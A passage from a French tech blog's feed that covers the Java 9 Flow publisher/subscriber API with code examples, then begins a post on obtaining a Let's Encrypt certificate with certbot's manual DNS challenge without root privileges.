&lt;p&gt;Java 9 introduit une nouvelle classe &lt;code&gt;Flow&lt;/code&gt; dans le &lt;em&gt;package&lt;/em&gt; &lt;code&gt;java.util.concurrent&lt;/code&gt; pour une mise en œuvre de ce &lt;em&gt;pattern&lt;/em&gt; &lt;strong&gt;producteur / consommateur&lt;/strong&gt;. Cette classe &lt;code&gt;Flow&lt;/code&gt; propose trois interfaces; &lt;code&gt;Flow.Publisher&amp;lt;T&amp;gt;&lt;/code&gt;, &lt;code&gt;Flow.Subscriber&amp;lt;T&amp;gt;&lt;/code&gt; et &lt;code&gt;Flow.Subscription&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;écris une classe implémentant &lt;code&gt;Subscriber&amp;lt;T&amp;gt;&lt;/code&gt; pour le consommateur. Cette interface contient quatre méthodes assez naturelles; une pour s&amp;rsquo;enregistrer, une pour faire le boulot, une pour gérer les erreurs et la dernière pour clôturer. Je peux écrire un code à l&amp;rsquo;allure suivante:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;VideoSubscriber&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;implements&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Subscriber&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;private&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Subscription&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;subscription&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nd"&gt;@Override&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;onSubscribe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Subscription&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;subscription&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;subscription&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;subscription&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;subscription&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;request&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nd"&gt;@Override&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;onNext&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Video&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;I publish &amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getTitle&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot; from &amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getAuthor&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;publish&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;subscription&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;request&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nd"&gt;@Override&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;onError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Throwable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;err&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Error (%s)\n&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getMessage&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nd"&gt;@Override&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;onComplete&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Done\n&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Le producteur doit implémenter la classe &lt;code&gt;Publisher&amp;lt;T&amp;gt;&lt;/code&gt;. Il existe déjà une classe l&amp;rsquo;implémentant. Il s&amp;rsquo;agit de &lt;code&gt;SubmissionPublisher&amp;lt;T&amp;gt;&lt;/code&gt;. Cette classe propose — entre autres — une méthode &lt;code&gt;submit&lt;/code&gt; qui soumet une tâche. Je peux donc directement écrire un &lt;em&gt;main&lt;/em&gt; à l&amp;rsquo;allure suivante:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;SubmissionPublisher&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;publisher&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SubmissionPublisher&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;
&lt;span class="n"&gt;VideoSubscriber&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;subscriber&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VideoSubscriber&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;
&lt;span class="n"&gt;publisher&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;subscribe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;subscriber&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;
&lt;span class="n"&gt;Videos&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getRandomVideos&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="na"&gt;stream&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;publisher&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;submit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="c1"&gt;// wait consummer end&lt;/span&gt;
&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;Thread&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;5000&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;InterruptedException&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;printStackTrace&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;publisher&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;close&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;em&gt;Teaser&lt;/em&gt; Java 10. Je pourrai bientôt écrire:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;publisher&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SubmissionPublisher&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;subscriber&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VideoSubscriber&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;… mais chut :-)&lt;/p&gt;
&lt;p&gt;En attendant, essayez d&amp;rsquo;ajouter des consommateurs et des producteurs. Toute la gestion est faite par Java.&lt;/p&gt;
&lt;h2 id="more"&gt;Quelques points non détaillés&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;em&gt;Multi-release jar files&lt;/em&gt; (&lt;a href="http://openjdk.java.net/jeps/238"&gt;JEP238&lt;/a&gt;);&lt;/p&gt;
&lt;p&gt;Complète la structure des fichiers jar et autorise plusieurs &lt;em&gt;releases&lt;/em&gt; différentes pour une classe. Par exemple JDK9 et &amp;lt;JDK9.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;annotation &lt;code&gt;@Deprecated&lt;/code&gt;;&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;annotation se complète de paramètres. Par exemple la classe &lt;code&gt;java.lang.Compiler&lt;/code&gt;&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;```&lt;/span&gt;&lt;span class="nx"&gt;java&lt;/span&gt;
&lt;span class="kn"&gt;package&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;java&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;lang&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;

&lt;span class="cm"&gt;/**   &lt;/span&gt;
&lt;span class="cm"&gt;* The {@code Compiler} class is provided to support &lt;/span&gt;
&lt;span class="cm"&gt;* Java-to-native-code compilers and related services. &lt;/span&gt;
&lt;span class="cm"&gt;* By design, the {@code Compiler} class does &lt;/span&gt;
&lt;span class="cm"&gt;* …&lt;/span&gt;
&lt;span class="cm"&gt;*/&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;
&lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="nx"&gt;Deprecated&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;since&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;9&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;forRemoval&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="nx"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;final&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Compiler&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="err"&gt;…&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="err"&gt;```&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;le moteur de rendu JavaFX et Java 2D est &lt;em&gt;Marlin&lt;/em&gt; et plus &lt;em&gt;Pisces&lt;/em&gt; ni &lt;em&gt;Ductus&lt;/em&gt; (&lt;a href="http://openjdk.java.net/jeps/265"&gt;JEP265&lt;/a&gt;);&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;le &lt;em&gt;garbage collector&lt;/em&gt; (ramasse-miettes) sera G1 et plus &lt;em&gt;Parallel GC&lt;/em&gt; (&lt;a href="http://openjdk.java.net/jeps/248"&gt;JEP248&lt;/a&gt;);&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;à noter que l&amp;rsquo;on peut écrire des méthodes privées dans les interfaces… utiles aux &lt;em&gt;default methods&lt;/em&gt; (&lt;a href="http://openjdk.java.net/jeps/213"&gt;JEP213&lt;/a&gt;);&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;l&amp;rsquo;API &lt;code&gt;Applet&lt;/code&gt; est dépréciée &lt;em&gt;@Deprecated(since = &amp;ldquo;9&amp;rdquo;)&lt;/em&gt; (&lt;a href="http://openjdk.java.net/jeps/289"&gt;JEP289&lt;/a&gt;);&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;suppression de certains outils obsolètes ou ajoutés à l&amp;rsquo;époque comme simples outils de démonstration; &lt;em&gt;hprof&lt;/em&gt;, &lt;em&gt;jhat&lt;/em&gt; (&lt;a href="http://openjdk.java.net/jeps/240"&gt;JEP240&lt;/a&gt;, &lt;a href="http://openjdk.java.net/jeps/241"&gt;JEP241&lt;/a&gt;);&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;Pour aller plus loin, vous pouvez consulter les &lt;a href="https://docs.oracle.com/javase/9/whatsnew/toc.htm"&gt;changements complets et classés chez Oracle&lt;/a&gt;. Et reprendre ensuite une activité normale.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="http://deviantart.com/"&gt;DeviantArt&lt;/a&gt; par &lt;a href="https://pixelduster.deviantart.com/art/Unzipped-Egg-33169606"&gt;Pixel duster&lt;/a&gt;. Un « neuf » pour Java 9. Bon d&amp;rsquo;accord.&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;Je ne vérifie pas à proprement parler hein ! J&amp;rsquo;illustre la curiosité qui permet de comprendre les choses et qui montre que rien n&amp;rsquo;est magique et que toutes les briques se mettent bien en place. Vous pouvez faire pareil.&amp;#160;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;Comme vous avez déjà décompressé les sources…&amp;#160;&lt;a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Une manière de mettre en place un certificat Letsencrypt avec Certbot sans les privilèges de root</title><link href="http://blog.namok.be/2018-03-01-letsencrypt-certbot-sans-root.html" rel="alternate"/><published>2018-03-01T00:00:00+01:00</published><updated>2018-03-01T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2018-03-01:/2018-03-01-letsencrypt-certbot-sans-root.html</id><summary type="html">Une manière de mettre en place un certificat Letsencrypt avec Certbot sans les privilèges de root</summary><content type="html">&lt;p&gt;&lt;img alt="358H-web.jpg" src="/images/358H-web.jpg" title="358H-web.jpg, mar. 2018"&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;La rédaction de ce billet a débuté en mai 2017… j&amp;rsquo;ai un peu trainé.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est dans l&amp;rsquo;air du temps de passer du web (&lt;em&gt;world wide web&lt;/em&gt;) non chiffré au web chiffré. Pour passer de &lt;code&gt;http&lt;/code&gt; à &lt;code&gt;https&lt;/code&gt;, il faut mettre en place un échange de clés cryptographiques entre le client (le navigateur) et le serveur (le site web visité). Cet échange de clé doit être certifié par une autorité de… certification (voir &lt;a href="https://fr.wikipedia.org/wiki/Autorit%C3%A9_de_certification"&gt;Wikipedia&lt;/a&gt; pour les détails).&lt;/p&gt;
&lt;p&gt;Pour vérifier que les intervenants sont bien qui ils prétendent être, l&amp;rsquo;autorité de certification fait certaines vérifications. Les plus élémentaires sont de voir si le demandeur à accès, au choix, à l&amp;rsquo;hébergement web, aux mails ou à la zone DNS.&lt;/p&gt;
&lt;p&gt;Cette vérification à un coût. La vérification la plus simple coûte ±12€/an et peut aller &lt;a href="https://www.comodo.com/"&gt;jusqu&amp;rsquo;à 200€ voire plus&lt;/a&gt;. &lt;a href="https://letsencrypt.org/"&gt;Letsencrypt&lt;/a&gt; est une société qui désire permettre à qui veut de mettre en place un certificat ssl — son site en &lt;code&gt;https&lt;/code&gt; — gratuitement et simplement.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;https à la portée de tous&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;La contrainte de &lt;em&gt;letsencrypt&lt;/em&gt; est que le certificat doit être renouvelé tous les 90 jours alors que les certificats payants sont généralement valables au minimum 1 an. Ce n&amp;rsquo;est pas bien grave car le renouvellement peut être automatisé.&lt;/p&gt;
&lt;p&gt;Quand j&amp;rsquo;ai commencé à rédiger ce billet, &lt;em&gt;letsencrypt&lt;/em&gt; était moyennement connu. Aujourd&amp;rsquo;hui — presque un an plus tard parce que certains billets trainent — beaucoup d&amp;rsquo;hébergeurs proposent &lt;em&gt;https&lt;/em&gt; directement grâce à &lt;em&gt;letsencrypt&lt;/em&gt;. Même si l&amp;rsquo;on n&amp;rsquo;a plus aucune excuse pour ne pas proposer &lt;em&gt;https&lt;/em&gt;, l&amp;rsquo;on peut quand même se poser la question de son utilité pour une page ne contenant aucun formulaire… mais c&amp;rsquo;est une autre histoire.&lt;/p&gt;
&lt;p&gt;La force de &lt;em&gt;letsencrypt&lt;/em&gt; — en plus du fait que ce soit gratuit — est de fournir un programme — officiel car il en existe plein d&amp;rsquo;autres — permettant d&amp;rsquo;automatiser le travail. Il est possible d&amp;rsquo;utiliser &lt;strong&gt;&lt;a href="https://certbot.eff.org/#debianjessie-apache"&gt;certbot&lt;/a&gt;&lt;/strong&gt; et — en lui donnant les droits &lt;em&gt;root&lt;/em&gt; — de lui demander de faire (quasi) tout le boulot. Voir &lt;a href="https://www.grafikart.fr/formations/serveur-linux/apache-ssl-letsencrypt"&gt;ce tutorial&lt;/a&gt; par exemple. C&amp;rsquo;est très simple.&lt;/p&gt;
&lt;p&gt;Si pour diverses raisons vous ne voulez pas lancer &lt;em&gt;certbot&lt;/em&gt; en root ou utiliser d&amp;rsquo;autres outils comme &lt;strong&gt;&lt;a href="https://github.com/srvrco/getssl"&gt;getssl&lt;/a&gt;&lt;/strong&gt; ou &lt;strong&gt;&lt;a href="https://github.com/lukas2511/dehydrated"&gt;dehydrated&lt;/a&gt;&lt;/strong&gt;, il est possible de faire autrement.&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ai choisi de faire la demande de certificat sur ma machine locale et de tout mettre dans un même répertoire. Ensuite je copie les deux fichiers &lt;em&gt;qui vont bien&lt;/em&gt; sur mon serveur. J&amp;rsquo;ai évidemment fait la configuration du serveur web — &lt;strong&gt;apache&lt;/strong&gt; — manuellement.&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est cette approche sans doute particulière que je présente ici.&lt;br&gt;
Voici l&amp;rsquo;allure de la manipulation.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;apt&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;certbot
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Génération des certificats de manière &lt;strong&gt;manuelle&lt;/strong&gt; et en utilisant la vérification &lt;strong&gt;dns&lt;/strong&gt;. Imaginons que je travaille dans le répertoire &lt;code&gt;~/elsewhere/ssl&lt;/code&gt;. Je demande à &lt;em&gt;certbot&lt;/em&gt; de tout mettre dans le répertoire courant.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;certbot&lt;span class="w"&gt; &lt;/span&gt;certonly&lt;span class="w"&gt; &lt;/span&gt;--manual&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;--preferred-challenges&lt;span class="w"&gt; &lt;/span&gt;dns&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;-d&lt;span class="w"&gt; &lt;/span&gt;elsewhere.example.org&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;--config-dir&lt;span class="w"&gt; &lt;/span&gt;.&lt;span class="w"&gt; &lt;/span&gt;--logs-dir&lt;span class="w"&gt; &lt;/span&gt;.&lt;span class="w"&gt; &lt;/span&gt;--work-dir&lt;span class="w"&gt; &lt;/span&gt;.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;em&gt;certbot&lt;/em&gt; me demande mon email et me demande de placer un enregistrement DNS dans la zone concernée. Je m&amp;rsquo;exécute.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;_acme-challenge 10800 IN TXT &amp;quot;échalotte[cut]paf-Plop-I&amp;quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Dès que c&amp;rsquo;est fait, il me génère tout le merdier.&lt;/p&gt;
